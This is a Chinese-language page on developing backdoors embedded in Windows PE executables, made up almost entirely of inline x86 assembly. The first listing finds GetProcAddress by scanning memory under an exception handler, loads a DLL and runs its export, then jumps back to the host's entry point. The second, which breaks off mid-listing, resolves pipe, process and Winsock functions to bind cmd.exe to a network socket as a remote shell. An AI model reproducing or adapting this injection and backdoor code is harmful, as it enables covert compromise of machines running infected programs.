PE可执行文件的镶入式程序后门开发

 

  1. /*  
  2.     利用异常结构处理搜索GetProcAddress入口地址  
  3. */   
  4. #include <STDIO.H>    
  5. #include <WINDOWS.H>    
  6. main()   
  7. {   
  8.    
  9.     _asm   
  10.     {   
  11.         call ex//取得当前地址以计算异常结构开始的地址    
  12.         mov     eax,0x77000000   
  13.         mov     [ebp-0ch],eax   
  14.         mov     eax,esp   
  15.         sub     eax,8   
  16.         xchg    fs:[0],eax   
  17.         mov DWORD ptr[ebp-00h],eax   
  18.         mov eax,fs:[4]   
  19.         mov DWORD ptr[ebp-04h],eax   
  20.         mov     fs:[4h],ebp//保存ebp到fs:[4h]中    
  21.         add     ecx,34h   
  22.         push    ecx   
  23.         push    eax   
  24.         mov     edx,0   
  25.         mov     byte ptr [edx],0//产生错误    
  26.     }   
  27.    
  28.    
  29. //异常结构开始    
  30.         _asm   
  31.         {   
  32.             mov ebp,fs:[4]   
  33.             mov         dword ptr [ebp-8h],0   
  34. //for(;imgbase<0xff000000,procgetadd==0;){    
  35. e104f:   
  36.            cmp         dword ptr [ebp-8h],0   
  37.            jne         exi   
  38. //imgbase+=0x10000;    
  39.    mov         eax,[ebp-0ch]   
  40.    add         eax,10000h   
  41.    mov         [ebp-0ch],eax   
  42. //if(imgbase==0x78000000) imgbase=0xbff00000;    
  43.    cmp         dword ptr [ebp-0ch],78000000h   
  44.    jne         is44   
  45.    mov         dword ptr [ebp-0ch],0BFF00000h   
  46.    
  47. /*if(*( WORD *)imgbase=='ZM'&& *(WORD *)(imgbase+*(int  
  48. *)(imgbase+0x3c))=='EP'){*/   
  49.    
  50. is44:   
  51.    
  52.    mov         ecx,dword ptr [ebp-0ch]   
  53.    xor         edx,edx   
  54.    mov         dx,word ptr [ecx]   
  55.    mov         dword ptr [ebp-24h],ecx   
  56.    cmp         edx,5A4Dh//ZM    
  57.    jne         e11db   
  58.    mov         eax,[ebp-0ch]   
  59.    mov         ecx,dword ptr [eax+3Ch]   
  60.    mov         edx,dword ptr [ebp-0ch]   
  61.    xor         eax,eax   
  62.    mov         ax,word ptr [edx+ecx]   
  63.    cmp         eax,4550h   
  64.    jne         e11db   
  65.        
  66. //fnbase=*(int *)(imgbase+*(int *)(imgbase+0x3c)+0x78)+imgbase;    
  67.    mov         ecx,dword ptr [ebp-0ch]   
  68.    mov         edx,dword ptr [ecx+3Ch]   
  69.    mov         eax,[ebp-0ch]   
  70.    mov         ecx,dword ptr [eax+edx+78h]   
  71.    add         ecx,dword ptr [ebp-0ch]   
  72.    mov         dword ptr [ebp-10h],ecx   
  73. // k=*(int *)(fnbase+0xc)+imgbase;    
  74.    mov         edx,dword ptr [ebp-10h]   
  75.    mov         eax,dword ptr [edx+0Ch]   
  76.    add         eax,dword ptr [ebp-0ch]   
  77.    mov         dword ptr [ebp-14h],eax   
  78.    
  79. //if(*(int *)k =='NREK'&&*(int *)(k+4)=='23LE'){    
  80.    mov         ecx,dword ptr [ebp-14h]   
  81.    cmp         dword ptr [ecx],4E52454Bh   
  82.    jne         e11db   
  83.    mov         edx,dword ptr [ebp-14h]   
  84.    cmp         dword ptr [edx+4],32334C45h   
  85.    jne         e11db   
  86. //k=imgbase+*(int *)(fnbase+0x20);    
  87.    mov         eax,dword ptr [ebp-10h]   
  88.    mov         ecx,dword ptr [ebp-0ch]   
  89.    add         ecx,dword ptr [eax+20h]   
  90.    mov         dword ptr [ebp-14h],ecx   
  91. //for(l=0;l<*(int *) (fnbase+0x18);++l,k+=4){    
  92.    mov         dword ptr [ebp-18h],0   
  93.    jmp         e1127   
  94. e1115:   
  95.    mov         edx,dword ptr [ebp-18h]   
  96.    add         edx,1   
  97.    mov         dword ptr [ebp-18h],edx   
  98.    mov         eax,dword ptr [ebp-14h]   
  99.    add         eax,4   
  100.    mov         dword ptr [ebp-14h],eax   
  101. e1127:   
  102.    mov         ecx,dword ptr [ebp-10h]   
  103.    mov         edx,dword ptr [ebp-18h]   
  104.    cmp         edx,dword ptr [ecx+18h]   
  105.    jge         e11db   
  106. /*if(*(int *)(imgbase+*(int *)k)=='tixE'&&*(int *)(4+imgbase+*(int  
  107.  *)k)=='corP'){GetProcAddress*/   
  108.    mov         eax,dword ptr [ebp-14h]   
  109.    mov         ecx,dword ptr [eax]   
  110.    mov         edx,dword ptr [ebp-0ch]   
  111.    cmp         dword ptr [edx+ecx],'PteG'   
  112.    jne         e11d6   
  113.    mov         eax,dword ptr [ebp-14h]   
  114.    mov         ecx,dword ptr [eax]   
  115.    mov         edx,dword ptr [ebp-0ch]   
  116.    cmp         dword ptr [edx+ecx+4],'Acor'   
  117.    jne         e11d6   
  118. //k=*(WORD *)(l+l+imgbase+*(int *)(fnbase+0x24));    
  119.    mov         eax,dword ptr [ebp-18h]   
  120.   add         eax,dword ptr [ebp-18h]   
  121.   add         eax,dword ptr [ebp-0ch]   
  122.   mov         ecx,dword ptr [ebp-10h]   
  123.    mov         edx,dword ptr [ecx+24h]   
  124.    xor         ecx,ecx   
  125.    mov         cx,word ptr [eax+edx]   
  126.    mov         dword ptr [ebp-14h],ecx   
  127. //k+=*(int *)(fnbase+0x10)-1;    
  128.    mov         edx,dword ptr [ebp-10h]   
  129.    mov         eax,dword ptr [edx+10h]   
  130.    mov         ecx,dword ptr [ebp-14h]   
  131.    lea         edx,dword ptr [ecx+eax-1]   
  132.    mov         dword ptr [ebp-14h],edx   
  133. //k=*(int *)(k+k+k+k+imgbase+*(int *)(fnbase+0x1c));    
  134.    mov         eax,dword ptr [ebp-14h]   
  135.    add         eax,dword ptr [ebp-14h]   
  136.    add         eax,dword ptr [ebp-14h]   
  137.    add         eax,dword ptr [ebp-14h]   
  138.    add         eax,dword ptr [ebp-0ch]   
  139.    mov         ecx,dword ptr [ebp-10h]   
  140.    mov         edx,dword ptr [ecx+1Ch]   
  141.    mov         eax,dword ptr [eax+edx]   
  142.    mov         dword ptr [ebp-14h],eax   
  143.    mov         edx,dword ptr [ebp-14h]   
  144. //add edx,imgbase    
  145.    add         edx,dword ptr [ebp-0ch]   
  146. // mov procgetadd,edx    
  147.    mov         dword ptr [ebp-8h],edx   
  148.    
  149. //恢复异常结构    
  150.    
  151.         mov eax,DWORD ptr[ebp-00h]   
  152.         mov fs:[0],eax   
  153.         mov eax,DWORD ptr[ebp-04h]   
  154.         mov fs:[4],eax   
  155.    
  156.    jmp         e11db   
  157. e11d6:   
  158.    jmp         e1115   
  159. e11db:   
  160.    jmp         e104f   
  161.    
  162.    
  163. }   
  164. //////////////////////////////////////////////////////////////    
  165. exi:   
  166. //取得LoadLibraryA入口地址    
  167.    
  168.     _asm   
  169.     {   
  170.     mov         dword ptr [ebp-124h],'daoL'   
  171.     mov         dword ptr [ebp-120h],'rbiL'   
  172.     mov         dword ptr [ebp-11Ch],'Ayra'   
  173.     mov         dword ptr [ebp-118h],0000h   
  174.     lea eax,[ebp-124h]   
  175.     push eax    
  176.     mov   ebx,dword ptr [ebp-24h]//kernel32.dll 入口地址    
  177.     push ebx   
  178.     mov   eax,dword ptr [ebp-8h]   
  179.     mov   dword ptr [ebp-4008h],eax//GetProcAddress 入口地址    
  180.     call eax   
  181.     mov   dword ptr [ebp-400ch],eax//LoadLibraryA 入口地址    
  182.     }   
  183.    
  184. //加载 mydll.dll    
  185.    
  186.     _asm   
  187.     {   
  188.     mov         dword ptr [ebp-124h],'ldym'   
  189.     mov         dword ptr [ebp-120h],'ld.l'   
  190.     mov         dword ptr [ebp-11Ch],'l'   
  191.     mov         dword ptr [ebp-118h],0000h   
  192.     lea eax,[ebp-124h]   
  193.     push eax    
  194.     call dword ptr [ebp-400ch]   
  195.     cmp         eax,0   
  196.     jz  exit1   
  197.     mov ebx,eax   
  198.    
  199. //取得mybegin入口地址    
  200.    
  201.     mov         dword ptr [ebp-124h],'gebM'   
  202.     mov         dword ptr [ebp-120h],'ni'   
  203.     mov         dword ptr [ebp-11Ch],0000h   
  204.     mov         dword ptr [ebp-118h],0000h   
  205.     lea eax,[ebp-124h]   
  206.     push eax    
  207.     push ebx   
  208.     call dword ptr [ebp-4008h]   
  209.     mov   dword ptr [ebp-4030h],eax//mybegin入口地址    
  210.     cmp         eax,0   
  211.     jz  exit1   
  212.     call eax //执行mybegin    
  213.     jmp exit1   
  214.         }   
  215.    
  216. ex:   
  217.     _asm   
  218.     {   
  219.         pop ecx   
  220.         push ecx   
  221.         ret   
  222.     }   
  223. exit1:   
  224.    
  225.    _asm   
  226.    {   
  227.     mov eax,0x401000 //这个跳转地址在代码中需要更改    
  228.     jmp eax   
  229.    }   
  230. return 0;   
  231. }  
/* 
	利用异常结构处理搜索GetProcAddress入口地址 
*/ 
#include  
#include  
main() 
{ 
 
	_asm 
	{ 
		call ex//取得当前地址以计算异常结构开始的地址 
		mov		eax,0x77000000 
		mov		[ebp-0ch],eax 
		mov     eax,esp 
		sub     eax,8 
		xchg    fs:[0],eax 
		mov DWORD ptr[ebp-00h],eax 
		mov	eax,fs:[4] 
		mov DWORD ptr[ebp-04h],eax 
		mov		fs:[4h],ebp//保存ebp到fs:[4h]中 
		add		ecx,34h 
		push    ecx 
		push    eax 
		mov     edx,0 
		mov     byte ptr [edx],0//产生错误 
	} 
 
 
//异常结构开始 
		_asm 
		{ 
			mov	ebp,fs:[4] 
			mov         dword ptr [ebp-8h],0 
//for(;imgbase<0xff000000,procgetadd==0;){ 
e104f: 
		   cmp         dword ptr [ebp-8h],0 
		   jne         exi 
//imgbase+=0x10000; 
   mov         eax,[ebp-0ch] 
   add         eax,10000h 
   mov         [ebp-0ch],eax 
//if(imgbase==0x78000000) imgbase=0xbff00000; 
   cmp         dword ptr [ebp-0ch],78000000h 
   jne         is44 
   mov         dword ptr [ebp-0ch],0BFF00000h 
 
/*if(*( WORD *)imgbase=='ZM'&& *(WORD *)(imgbase+*(int 
*)(imgbase+0x3c))=='EP'){*/ 
 
is44: 
 
   mov         ecx,dword ptr [ebp-0ch] 
   xor         edx,edx 
   mov         dx,word ptr [ecx] 
   mov         dword ptr [ebp-24h],ecx 
   cmp         edx,5A4Dh//ZM 
   jne         e11db 
   mov         eax,[ebp-0ch] 
   mov         ecx,dword ptr [eax+3Ch] 
   mov         edx,dword ptr [ebp-0ch] 
   xor         eax,eax 
   mov         ax,word ptr [edx+ecx] 
   cmp         eax,4550h 
   jne         e11db 
     
//fnbase=*(int *)(imgbase+*(int *)(imgbase+0x3c)+0x78)+imgbase; 
   mov         ecx,dword ptr [ebp-0ch] 
   mov         edx,dword ptr [ecx+3Ch] 
   mov         eax,[ebp-0ch] 
   mov         ecx,dword ptr [eax+edx+78h] 
   add         ecx,dword ptr [ebp-0ch] 
   mov         dword ptr [ebp-10h],ecx 
// k=*(int *)(fnbase+0xc)+imgbase; 
   mov         edx,dword ptr [ebp-10h] 
   mov         eax,dword ptr [edx+0Ch] 
   add         eax,dword ptr [ebp-0ch] 
   mov         dword ptr [ebp-14h],eax 
 
//if(*(int *)k =='NREK'&&*(int *)(k+4)=='23LE'){ 
   mov         ecx,dword ptr [ebp-14h] 
   cmp         dword ptr [ecx],4E52454Bh 
   jne         e11db 
   mov         edx,dword ptr [ebp-14h] 
   cmp         dword ptr [edx+4],32334C45h 
   jne         e11db 
//k=imgbase+*(int *)(fnbase+0x20); 
   mov         eax,dword ptr [ebp-10h] 
   mov         ecx,dword ptr [ebp-0ch] 
   add         ecx,dword ptr [eax+20h] 
   mov         dword ptr [ebp-14h],ecx 
//for(l=0;l<*(int *) (fnbase+0x18);++l,k+=4){ 
   mov         dword ptr [ebp-18h],0 
   jmp         e1127 
e1115: 
   mov         edx,dword ptr [ebp-18h] 
   add         edx,1 
   mov         dword ptr [ebp-18h],edx 
   mov         eax,dword ptr [ebp-14h] 
   add         eax,4 
   mov         dword ptr [ebp-14h],eax 
e1127: 
   mov         ecx,dword ptr [ebp-10h] 
   mov         edx,dword ptr [ebp-18h] 
   cmp         edx,dword ptr [ecx+18h] 
   jge         e11db 
/*if(*(int *)(imgbase+*(int *)k)=='tixE'&&*(int *)(4+imgbase+*(int 
 *)k)=='corP'){GetProcAddress*/ 
   mov         eax,dword ptr [ebp-14h] 
   mov         ecx,dword ptr [eax] 
   mov         edx,dword ptr [ebp-0ch] 
   cmp         dword ptr [edx+ecx],'PteG' 
   jne         e11d6 
   mov         eax,dword ptr [ebp-14h] 
   mov         ecx,dword ptr [eax] 
   mov         edx,dword ptr [ebp-0ch] 
   cmp         dword ptr [edx+ecx+4],'Acor' 
   jne         e11d6 
//k=*(WORD *)(l+l+imgbase+*(int *)(fnbase+0x24)); 
   mov         eax,dword ptr [ebp-18h] 
  add         eax,dword ptr [ebp-18h] 
  add         eax,dword ptr [ebp-0ch] 
  mov         ecx,dword ptr [ebp-10h] 
   mov         edx,dword ptr [ecx+24h] 
   xor         ecx,ecx 
   mov         cx,word ptr [eax+edx] 
   mov         dword ptr [ebp-14h],ecx 
//k+=*(int *)(fnbase+0x10)-1; 
   mov         edx,dword ptr [ebp-10h] 
   mov         eax,dword ptr [edx+10h] 
   mov         ecx,dword ptr [ebp-14h] 
   lea         edx,dword ptr [ecx+eax-1] 
   mov         dword ptr [ebp-14h],edx 
//k=*(int *)(k+k+k+k+imgbase+*(int *)(fnbase+0x1c)); 
   mov         eax,dword ptr [ebp-14h] 
   add         eax,dword ptr [ebp-14h] 
   add         eax,dword ptr [ebp-14h] 
   add         eax,dword ptr [ebp-14h] 
   add         eax,dword ptr [ebp-0ch] 
   mov         ecx,dword ptr [ebp-10h] 
   mov         edx,dword ptr [ecx+1Ch] 
   mov         eax,dword ptr [eax+edx] 
   mov         dword ptr [ebp-14h],eax 
   mov         edx,dword ptr [ebp-14h] 
//add edx,imgbase 
   add         edx,dword ptr [ebp-0ch] 
// mov procgetadd,edx 
   mov         dword ptr [ebp-8h],edx 
 
//恢复异常结构 
 
		mov eax,DWORD ptr[ebp-00h] 
		mov	fs:[0],eax 
		mov eax,DWORD ptr[ebp-04h] 
		mov	fs:[4],eax 
 
   jmp         e11db 
e11d6: 
   jmp         e1115 
e11db: 
   jmp         e104f 
 
 
} 
////////////////////////////////////////////////////////////// 
exi: 
//取得LoadLibraryA入口地址 
 
	_asm 
	{ 
	mov         dword ptr [ebp-124h],'daoL' 
	mov         dword ptr [ebp-120h],'rbiL' 
	mov         dword ptr [ebp-11Ch],'Ayra' 
	mov         dword ptr [ebp-118h],0000h 
	lea eax,[ebp-124h] 
	push eax  
	mov   ebx,dword ptr [ebp-24h]//kernel32.dll 入口地址 
	push ebx 
	mov   eax,dword ptr [ebp-8h] 
	mov   dword ptr [ebp-4008h],eax//GetProcAddress 入口地址 
	call eax 
	mov   dword ptr [ebp-400ch],eax//LoadLibraryA 入口地址 
	} 
 
//加载 mydll.dll 
 
	_asm 
	{ 
	mov         dword ptr [ebp-124h],'ldym' 
	mov         dword ptr [ebp-120h],'ld.l' 
	mov         dword ptr [ebp-11Ch],'l' 
	mov         dword ptr [ebp-118h],0000h 
	lea eax,[ebp-124h] 
	push eax  
	call dword ptr [ebp-400ch] 
	cmp         eax,0 
	jz	exit1 
	mov ebx,eax 
 
//取得mybegin入口地址 
 
	mov         dword ptr [ebp-124h],'gebM' 
	mov         dword ptr [ebp-120h],'ni' 
	mov         dword ptr [ebp-11Ch],0000h 
	mov         dword ptr [ebp-118h],0000h 
	lea eax,[ebp-124h] 
	push eax  
	push ebx 
	call dword ptr [ebp-4008h] 
	mov   dword ptr [ebp-4030h],eax//mybegin入口地址 
	cmp         eax,0 
	jz	exit1 
	call eax //执行mybegin 
	jmp exit1 
		} 
 
ex: 
	_asm 
	{ 
		pop ecx 
		push ecx 
		ret 
	} 
exit1: 
 
   _asm 
   { 
	mov eax,0x401000 //这个跳转地址在代码中需要更改 
	jmp eax 
   } 
return 0; 
}

  1. /*  
  2.     利用异常结构处理搜索GetProcAddress入口地址  
  3.     然后用这个函数加载其他api函数.实现线程一个返回另一个  
  4.     绑定cmd.exe或command.com功能  
  5. */   
  6. #include <STDIO.H>    
  7. #include <WINDOWS.H>    
  8. main()   
  9. {   
  10.     _asm   
  11.     {   
  12.         call ex   
  13.         mov     eax,0x77000000   
  14.         mov     [ebp-0ch],eax   
  15.         mov     eax,esp   
  16.         sub     eax,8   
  17.         xchg    fs:[0],eax   
  18.         mov DWORD ptr[ebp-00h],eax   
  19.         mov eax,fs:[4]   
  20.         mov DWORD ptr[ebp-04h],eax   
  21.         mov     fs:[4h],ebp   
  22.         add     ecx,34h   
  23.         push    ecx   
  24.         push    eax   
  25.         mov     edx,0   
  26.         mov     byte ptr [edx],0   
  27.         mov ebp,fs:[4]   
  28.         mov         dword ptr [ebp-8h],0   
  29. e104f:   
  30.    cmp         dword ptr [ebp-8h],0   
  31.    jne         exi   
  32.    mov         eax,[ebp-0ch]   
  33.    add         eax,10000h   
  34.    mov         [ebp-0ch],eax   
  35.    cmp         dword ptr [ebp-0ch],78000000h   
  36.    jne         is44   
  37.    mov         dword ptr [ebp-0ch],0BFF00000h   
  38. is44:   
  39.    mov         ecx,dword ptr [ebp-0ch]   
  40.    xor         edx,edx   
  41.    mov         dx,word ptr [ecx]   
  42.    mov         dword ptr [ebp-24h],ecx   
  43.    cmp         edx,5A4Dh//ZM    
  44.    jne         e11db   
  45.    mov         eax,[ebp-0ch]   
  46.    mov         ecx,dword ptr [eax+3Ch]   
  47.    mov         edx,dword ptr [ebp-0ch]   
  48.    xor         eax,eax   
  49.    mov         ax,word ptr [edx+ecx]   
  50.    cmp         eax,4550h   
  51.    jne         e11db   
  52.    mov         ecx,dword ptr [ebp-0ch]   
  53.    mov         edx,dword ptr [ecx+3Ch]   
  54.    mov         eax,[ebp-0ch]   
  55.    mov         ecx,dword ptr [eax+edx+78h]   
  56.    add         ecx,dword ptr [ebp-0ch]   
  57.    mov         dword ptr [ebp-10h],ecx   
  58.    mov         edx,dword ptr [ebp-10h]   
  59.    mov         eax,dword ptr [edx+0Ch]   
  60.    add         eax,dword ptr [ebp-0ch]   
  61.    mov         dword ptr [ebp-14h],eax   
  62.    mov         ecx,dword ptr [ebp-14h]   
  63.    cmp         dword ptr [ecx],4E52454Bh   
  64.    jne         e11db   
  65.    mov         edx,dword ptr [ebp-14h]   
  66.    cmp         dword ptr [edx+4],32334C45h   
  67.    jne         e11db   
  68.    mov         eax,dword ptr [ebp-10h]   
  69.    mov         ecx,dword ptr [ebp-0ch]   
  70.    add         ecx,dword ptr [eax+20h]   
  71.    mov         dword ptr [ebp-14h],ecx   
  72.    mov         dword ptr [ebp-18h],0   
  73.    jmp         e1127   
  74. e1115:   
  75.    mov         edx,dword ptr [ebp-18h]   
  76.    add         edx,1   
  77.    mov         dword ptr [ebp-18h],edx   
  78.    mov         eax,dword ptr [ebp-14h]   
  79.    add         eax,4   
  80.    mov         dword ptr [ebp-14h],eax   
  81. e1127:   
  82.    mov         ecx,dword ptr [ebp-10h]   
  83.    mov         edx,dword ptr [ebp-18h]   
  84.    cmp         edx,dword ptr [ecx+18h]   
  85.    jge         e11db   
  86.    mov         eax,dword ptr [ebp-14h]   
  87.    mov         ecx,dword ptr [eax]   
  88.    mov         edx,dword ptr [ebp-0ch]   
  89.    cmp         dword ptr [edx+ecx],'PteG'   
  90.    jne         e11d6   
  91.    mov         eax,dword ptr [ebp-14h]   
  92.    mov         ecx,dword ptr [eax]   
  93.    mov         edx,dword ptr [ebp-0ch]   
  94.    cmp         dword ptr [edx+ecx+4],'Acor'   
  95.    jne         e11d6   
  96.    mov         eax,dword ptr [ebp-18h]   
  97.   add         eax,dword ptr [ebp-18h]   
  98.   add         eax,dword ptr [ebp-0ch]   
  99.   mov         ecx,dword ptr [ebp-10h]   
  100.    mov         edx,dword ptr [ecx+24h]   
  101.    xor         ecx,ecx   
  102.    mov         cx,word ptr [eax+edx]   
  103.    mov         dword ptr [ebp-14h],ecx   
  104.    mov         edx,dword ptr [ebp-10h]   
  105.    mov         eax,dword ptr [edx+10h]   
  106.    mov         ecx,dword ptr [ebp-14h]   
  107.    lea         edx,dword ptr [ecx+eax-1]   
  108.    mov         dword ptr [ebp-14h],edx   
  109.    mov         eax,dword ptr [ebp-14h]   
  110.    add         eax,dword ptr [ebp-14h]   
  111.    add         eax,dword ptr [ebp-14h]   
  112.    add         eax,dword ptr [ebp-14h]   
  113.    add         eax,dword ptr [ebp-0ch]   
  114.    mov         ecx,dword ptr [ebp-10h]   
  115.    mov         edx,dword ptr [ecx+1Ch]   
  116.    mov         eax,dword ptr [eax+edx]   
  117.    mov         dword ptr [ebp-14h],eax   
  118.    mov         edx,dword ptr [ebp-14h]   
  119.    add         edx,dword ptr [ebp-0ch]   
  120.    mov         dword ptr [ebp-8h],edx   
  121. //恢复异常结构    
  122.         mov eax,DWORD ptr[ebp-00h]   
  123.         mov fs:[0],eax   
  124.         mov eax,DWORD ptr[ebp-04h]   
  125.         mov fs:[4],eax   
  126.    jmp         e11db   
  127. e11d6:   
  128.    jmp         e1115   
  129. e11db:   
  130.    jmp         e104f   
  131.    
  132. }   
  133.    
  134. //////////////////////////////////////////////////////////////    
  135.    
  136. exi:   
  137.    
  138. //取得各个需要函数的地址    
  139.    
  140. //取得LoadLibraryA入口地址    
  141.     _asm   
  142.    
  143.     {   
  144.     call ex1   
  145.     mov dword ptr [ecx-0C70h],ebp   
  146.     mov         dword ptr [ebp-124h],'daoL'   
  147.     mov         dword ptr [ebp-120h],'rbiL'   
  148.     mov         dword ptr [ebp-11Ch],'Ayra'   
  149.     mov         dword ptr [ebp-118h],0000h   
  150.     lea eax,[ebp-124h]   
  151.     push eax    
  152.     mov   ebx,dword ptr [ebp-24h]//kernel32.dll 入口地址    
  153.     push ebx   
  154.     mov   eax,dword ptr [ebp-8h]   
  155.     mov   dword ptr [ebp-4008h],eax//GetProcAddress 入口地址    
  156.     call eax   
  157.     mov   dword ptr [ebp-400ch],eax//LoadLibraryA 入口地址    
  158.    
  159. //CreatePipe入口地址    
  160.     mov         dword ptr [ebp-124h],'aerC'   
  161.     mov         dword ptr [ebp-120h],'iPet'   
  162.     mov         dword ptr [ebp-11Ch],'ep'   
  163.     mov         dword ptr [ebp-118h],0000h   
  164.     lea eax,[ebp-124h]   
  165.     push eax    
  166.     push ebx   
  167.     call dword ptr [ebp-8h]   
  168.     mov   dword ptr [ebp-4000h],eax//CreatePipe入口地址    
  169.     cmp         eax,0   
  170.     jz  exit1   
  171.    
  172. //GetVersion入口地址    
  173.    
  174.     mov         dword ptr [ebp-124h],'VteG'   
  175.     mov         dword ptr [ebp-120h],'isre'   
  176.     mov         dword ptr [ebp-11Ch],'no'   
  177.     mov         dword ptr [ebp-118h],0000h   
  178.     lea eax,[ebp-124h]   
  179.     push eax    
  180.     push ebx   
  181.     call dword ptr [ebp-8h]   
  182.     mov   dword ptr [ebp-4004h],eax//GetVersion 入口地址    
  183.     cmp         eax,0   
  184.     jz  exit1   
  185.    
  186. //CloseHandle入口地址    
  187.    
  188.     mov         dword ptr [ebp-124h],'solC'   
  189.     mov         dword ptr [ebp-120h],'naHe'   
  190.     mov         dword ptr [ebp-11Ch],'eld'   
  191.     mov         dword ptr [ebp-118h],0000h   
  192.     lea eax,[ebp-124h]   
  193.     push eax    
  194.     push ebx   
  195.     call dword ptr [ebp-8h]   
  196.     mov   dword ptr [ebp-4010h],eax//CloseHandle 入口地址    
  197.     cmp         eax,0   
  198.     jz  exit1   
  199.    
  200. //ExitThread入口地址    
  201.    
  202.     mov         dword ptr [ebp-124h],'tixE'   
  203.     mov         dword ptr [ebp-120h],'erhT'   
  204.     mov         dword ptr [ebp-11Ch],'da'   
  205.     mov         dword ptr [ebp-118h],0000h   
  206.     lea eax,[ebp-124h]   
  207.     push eax    
  208.     push ebx   
  209.     call dword ptr [ebp-8h]   
  210.     mov   dword ptr [ebp-4014h],eax//ExitThread入口地址    
  211.     cmp         eax,0   
  212.     jz  exit1   
  213.    
  214. //Sleep入口地址    
  215.    
  216.     mov         dword ptr [ebp-124h],'eelS'   
  217.     mov         dword ptr [ebp-120h],'p'   
  218.     mov         dword ptr [ebp-11Ch],0000h   
  219.     lea eax,[ebp-124h]   
  220.     push eax    
  221.     push ebx   
  222.     call dword ptr [ebp-8h]   
  223.     mov   dword ptr [ebp-4018h],eax//Sleep入口地址    
  224.     cmp         eax,0   
  225.     jz  exit1   
  226.    
  227. //WriteFile入口地址    
  228.    
  229.     mov         dword ptr [ebp-124h],'tirW'   
  230.     mov         dword ptr [ebp-120h],'liFe'   
  231.     mov         dword ptr [ebp-11Ch],'e'   
  232.     mov         dword ptr [ebp-118h],0000h   
  233.     lea eax,[ebp-124h]   
  234.     push eax    
  235.     push ebx   
  236.     call dword ptr [ebp-8h]   
  237.     mov   dword ptr [ebp-401Ch],eax//WriteFile入口地址    
  238.     cmp         eax,0   
  239.     jz  exit1   
  240.    
  241. //PeekNamedPipe入口地址    
  242.    
  243.     mov         dword ptr [ebp-124h],'keeP'   
  244.     mov         dword ptr [ebp-120h],'emaN'   
  245.     mov         dword ptr [ebp-11Ch],'piPd'   
  246.     mov         dword ptr [ebp-118h],'e'   
  247.     lea eax,[ebp-124h]   
  248.     push eax    
  249.     push ebx   
  250.     call dword ptr [ebp-8h]   
  251.     mov   dword ptr [ebp-4020h],eax//PeekNamedPipe入口地址    
  252.     cmp         eax,0   
  253.     jz  exit1   
  254.    
  255. //ReadFile入口地址    
  256.    
  257.     mov         dword ptr [ebp-124h],'daeR'   
  258.     mov         dword ptr [ebp-120h],'eliF'   
  259.     mov         dword ptr [ebp-11Ch],0000h   
  260.     lea eax,[ebp-124h]   
  261.     push eax    
  262.     push ebx   
  263.     call dword ptr [ebp-8h]   
  264.     mov   dword ptr [ebp-4024h],eax//ReadFile入口地址    
  265.     cmp         eax,0   
  266.     jz  exit1   
  267.    
  268. //GetStartupInfoA入口地址    
  269.    
  270.     mov         dword ptr [ebp-124h],'SteG'   
  271.     mov         dword ptr [ebp-120h],'trat'   
  272.     mov         dword ptr [ebp-11Ch],'nIpu'   
  273.     mov         dword ptr [ebp-118h],'Aof'   
  274.     lea eax,[ebp-124h]   
  275.     push eax    
  276.     push ebx   
  277.     call dword ptr [ebp-8h]   
  278.     mov   dword ptr [ebp-4028h],eax//GetStartupInfoA入口地址    
  279.     cmp         eax,0   
  280.     jz  exit1   
  281.    
  282. //CreateProcessA入口地址    
  283.    
  284.     mov         dword ptr [ebp-124h],'aerC'   
  285.     mov         dword ptr [ebp-120h],'rPet'   
  286.     mov         dword ptr [ebp-11Ch],'seco'   
  287.     mov         dword ptr [ebp-118h],'As'   
  288.     lea eax,[ebp-124h]   
  289.     push eax    
  290.     push ebx   
  291.     call dword ptr [ebp-8h]   
  292.     mov   dword ptr [ebp-402Ch],eax//CreateProcessA入口地址    
  293.     cmp         eax,0   
  294.     jz  exit1   
  295.    
  296.     //CreateThread入口地址    
  297.    
  298.     mov         dword ptr [ebp-124h],'aerC'   
  299.     mov         dword ptr [ebp-120h],'hTet'   
  300.     mov         dword ptr [ebp-11Ch],'daer'   
  301.     mov         dword ptr [ebp-118h],0000h   
  302.     lea eax,[ebp-124h]   
  303.     push eax    
  304.     push ebx   
  305.     call dword ptr [ebp-8h]   
  306.     mov   dword ptr [ebp-4008h],eax//CreateThread入口地址    
  307.     cmp         eax,0   
  308.     jz  exit1   
  309.     }   
  310.    
  311. //load wsock32.dll    
  312.     _asm   
  313.     {   
  314.     mov         dword ptr [ebp-124h],'cosw'   
  315.     mov         dword ptr [ebp-120h],'.23k'   
  316.     mov         dword ptr [ebp-11Ch],'lld'   
  317.     mov         dword ptr [ebp-118h],0000h   
  318.     lea eax,[ebp-124h]   
  319.     push eax    
  320.     call dword ptr [ebp-400ch]   
  321.     cmp         eax,0   
  322.     jz  exit1   
  323.     mov ebx,eax   
  324.    
  325. //WSAStartup入口地址    
  326.    
  327.     mov         dword ptr [ebp-124h],'SASW'   
  328.     mov         dword ptr [ebp-120h],'trat'   
  329.     mov         dword ptr [ebp-11Ch],'pu'   
  330.     mov         dword ptr [ebp-118h],0000h   
  331.     lea eax,[ebp-124h]   
  332.     push eax    
  333.     push ebx   
  334.     call dword ptr [ebp-8h]   
  335.     mov   dword ptr [ebp-4030h],eax//WSAStartup入口地址    
  336.     cmp         eax,0   
  337.     jz  exit1   
  338. //__WSAFDIsSet入口地址    
  339.     mov         dword ptr [ebp-124h],'SW__'   
  340.     mov         dword ptr [ebp-120h],'IDFA'   
  341.     mov         dword ptr [ebp-11Ch],'teSs'   
  342.     mov         dword ptr [ebp-118h],0000h   
  343.     lea eax,[ebp-124h]   
  344.     push eax    
  345.     push ebx   
  346.     call dword ptr [ebp-8h]   
  347.     mov   dword ptr [ebp-4034h],eax//__WSAFDIsSet入口地址    
  348.     cmp         eax,0   
  349.     jz  exit1   
  350. //socket入口地址    
  351.     mov         dword ptr [ebp-124h],'kcos'   
  352.     mov         dword ptr [ebp-120h],'te'   
  353.     mov         dword ptr [ebp-11Ch],0000h   
  354.     lea eax,[ebp-124h]   
  355.     push eax    
  356.     push ebx   
  357.     call dword ptr [ebp-8h]   
  358.     mov   dword ptr [ebp-4038h],eax//socket入口地址    
  359.     cmp         eax,0   
  360.     jz  exit1   
  361. //closesocket入口地址    
  362.     mov         dword ptr [ebp-124h],'solc'   
  363.     mov         dword ptr [ebp-120h],'cose'   
  364.     mov         dword ptr [ebp-11Ch],'tek'   
  365.     mov         dword ptr [ebp-118h],0000h   
  366.     lea eax,[ebp-124h]   
  367.     push eax    
  368.     push ebx   
  369.     call dword ptr [ebp-8h]   
  370.     mov   dword ptr [ebp-403Ch],eax//closesocket入口地址    
  371.     cmp         eax,0   
  372.     jz  exit1   
  373. //select入口地址    
  374.     mov         dword ptr [ebp-124h],'eles'   
